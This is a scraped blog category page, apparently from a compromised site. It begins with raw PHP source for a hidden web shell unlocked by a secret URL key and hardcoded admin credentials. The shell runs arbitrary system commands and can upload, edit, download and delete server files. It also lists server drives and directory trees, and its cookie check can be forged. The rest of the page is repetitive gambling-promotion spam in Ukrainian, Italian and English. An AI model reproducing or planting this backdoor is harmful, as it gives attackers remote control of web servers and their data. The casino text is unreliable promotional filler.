if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Блог – collectives.berlin

Your digital paradise.

Category: Блог

  • Favbet ️︎Фавбет казино️ Favbet Casino в Україні

    Але лише авторизовані гравці можуть використовувати всі бонусні програми, укладати спортивні парі та отримувати реальні грошові виграші. Гравці завжди можуть розраховувати на високий рівень компетентності фахівців, незалежно від складності поставленого питання. Це гарантує захист кожного депозиту і виплат відповідно до чинного законодавства України. Прості транзакції, безпека і конфіденційність роблять сервіс затребуваним серед різних категорій гравців.…

    Click or not…

  • Офлайн гральні автомати та ігрові зали столиці

    Реєструйтеся на платформі казино ФавБет та беріть участь у турнірах з найбільшими шансами на успіх! ФавБет казино приваблює відвідувачів не лише різноманітністю та ігор, а й безліччю бонусних та акційних пропозицій. Можна знайти улюблену гру за назвою, ввівши її в рядок пошуку або відсортувати масив за розробниками. Слід визнати, що система дуже зручна та оптимізована…

    Click or not…

  • Migliori casinò online AAMS: siti casinò italiani 2026

    Vi segnaliamo anche un’interessante sezione bonus, con tante iniziative ricorrenti a partire da una promo cashback. Il limite principale è l’ampiezza del catalogo, la più contenuta della nostra top 10. Per accedere al conto gioco apri il sito ufficiale e clicca sul pulsante di accesso posizionato in alto nella pagina. Inserisci l’indirizzo email registrato e…

    Click or not…

  • Favbet офіційний сайт Онлайн казино Фавет в Україні

    Застосунки споживають менше трафіку та підтримують усі функції десктопної версії. Ми рекомендуємо проходити її одразу після реєстрації, щоб уникнути затримок під час першої виплати коштів на картку. Тут немає барабанів, а виграш залежить від моменту натискання кнопки виходу до завершення польоту об’єкта. На картці гри відображаються її назва, розробник і доступний режим запуску. Ми в…

    Click or not…

  • Temi delle Slot Le Categorie più Giocate nei Casinò Online 2026

    Che si tratti di forzieri sommersi, antiche ricchezze sepolte o manufatti nascosti in luoghi segreti, il brivido della scoperta rende ogni spin ancora più emozionante. I supereroi e i personaggi dei fumetti hanno conquistato anche il mondo delle slot online, trasformando ogni spin in un’avventura epica. Se sei un appassionato di comics, puoi provare titoli…

    Click or not…

  • KinBet Casino: A Perfect Combination of Casino Fun and Sports Betting

    Welcome offers should be checked against current terms. Regulator style can reveal how formal the platform feels. The review should explain document checks in simple terms. So should responsible gambling references and country blocks. Claim Your Kinbet Casino Bonus Today Use live chat for quick help with deposits, bonus claims, login issues, or account checks.…

    Click or not…

  • Codici Bonus Casinò Online Settembre 2026 Le Migliori Promo

    Ad esempio, se un bonus sul deposito di 200€ ha un requisito di 20x, dovrai scommettere 200 x 20, ovvero 4.000€, prima di poter riscuotere il denaro vinto. Prima di approfittare di queste promozioni, ricorda sempre di verificare i termini e condizioni, in particolare i requisiti di puntata, ovvero il numero di volte che dovrai…

    Click or not…

  • KinBet: Ultimate Online Casino Experience & Big Wins

    The best approach is to confirm the exact method before funding the account. Licensing, operator details, cashier rules, and support response times all matter. Kinbet online Casino sections work when bonuses, games, and banking stay separated. It feels more useful than one-size-fits-all praise. These groups help you sort games by prize style and current interest.…

    Click or not…

  • KinBet: Ultimate Online Casino Experience & Big Wins

    The best approach is to confirm the exact method before funding the account. Licensing, operator details, cashier rules, and support response times all matter. Kinbet online Casino sections work when bonuses, games, and banking stay separated. It feels more useful than one-size-fits-all praise. These groups help you sort games by prize style and current interest.…

    Click or not…

  • KinBet: Ultimate Online Casino Experience & Big Wins

    The best approach is to confirm the exact method before funding the account. Licensing, operator details, cashier rules, and support response times all matter. Kinbet online Casino sections work when bonuses, games, and banking stay separated. It feels more useful than one-size-fits-all praise. These groups help you sort games by prize style and current interest.…

    Click or not…